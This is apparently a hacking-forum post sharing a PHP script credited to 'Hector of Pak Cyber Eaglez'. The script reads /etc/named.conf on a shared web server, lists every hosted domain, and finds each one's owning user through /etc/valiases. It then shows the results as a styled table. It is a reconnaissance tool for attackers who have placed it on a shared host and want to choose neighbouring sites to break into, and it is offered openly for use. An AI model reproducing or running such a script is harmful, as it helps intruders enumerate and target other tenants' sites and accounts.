Ens4R
Prof Spys-z
Kod:
<?
echo "<title>Domains & User Lister by Hector</title>
<style>
body,table{background: black; font-family:Verdana,tahoma; color: white; font-size:10px; }
A:link {text-decoration: none;color: red;}
A:active {text-decoration: none;color: red;}
A:visited {text-decoration: none;color: red;}
A:hover {text-decoration: underline; color: red;}
#new,input,table,td,tr,#gg{text-align:center;border-style:solid;text-decoration:bold;}
tr:hover,td:hover{text-align:center;background-color: #FFFFCC; color:green;}
</style>
<p align=center># Domains & Users</p>
<p align=center>:: Coded By Hector of Pak Cyber Eaglez ::</p><center>";
$d0mains = @file("/etc/named.conf");
if(!$d0mains){ die("<b># Failed To Read -> [ /etc/named.conf ]"); }
echo "<table align=center border=1>
<tr bgcolor=green><td>Domains</td><td>Usernames</td></tr>";
foreach($d0mains as $d0main){
if(eregi("zone",$d0main)){
preg_match_all('#zone "(.*)"#', $d0main, $domains);
flush();
if(strlen(trim($domains[1][0])) > 2){
$user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
echo "<tr><td><a href=http://www.".$domains[1][0]."/>".$domains[1][0]."</a></td><td>".$user['name']."</td></tr>"; flush();
}}}
echo "</table>
<p align='center'>
Copyright ©2013 Coded by Hector
</p>
";
?>